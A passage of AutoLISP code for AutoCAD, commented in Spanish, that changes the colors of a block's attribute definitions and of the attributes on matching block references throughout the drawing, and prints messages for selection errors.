       (setq *blocks* (vla-get-blocks (vla-get-ActiveDocument (vlax-get-acad-object))))
       (setq BkDef (vla-item *blocks* bkname)) ;_se busca la definicion del bloque
       (vlax-for
          obj BkDef
;;;Por cada objeto dentro del bloque se buscan los atributos, y se cambian a acByblock
         (if (= (vla-get-ObjectName obj) "AcDbAttributeDefinition")
           (vla-put-color obj acByblock)
           )
         )
;;;Dentro de todos los bloques del dibujo, se buscan los bloques que tengan el nombre del bloque original
;;;y se cambia el color a ByBlock. Al procesar todos los bloques se cambian los bloques anidados y el
;;;espacio modelo y papel.
       (vlax-for
          Block    *blocks*
         (vlax-for
            obj    block
           (if (and    (vlax-property-available-p obj 'effectivename)
            (wcmatch (vla-get-EffectiveName obj) Bkname)
            )
         (setq atts (vlax-safearray->list (vlax-variant-value (vla-GetAttributes obj))))
         (foreach att atts (vla-put-color att acByLayer))
         )
           )
         )
       (mapcar 'princ
           (list "\n Los atributos del bloque " Bkname " se cambiaron a ByBlock")
           )
       )
      ((= (getvar "errno") 7)
       (princ "\n Fallaste al seleccionar, trata de nuevo")
       )
      ((= (getvar "errno") 52) ;_El usuario presiono ENTER
       (setq bk T)
       )
      ((null TieneAtributos)
       (Princ "\n El bloque seleccionado no tiene atributos")
       )
      (T (Princ "\n No seleccionaste un bloque, trata de nuevo"))
      )
    (setq bk nil)
    )
  (princ)
  )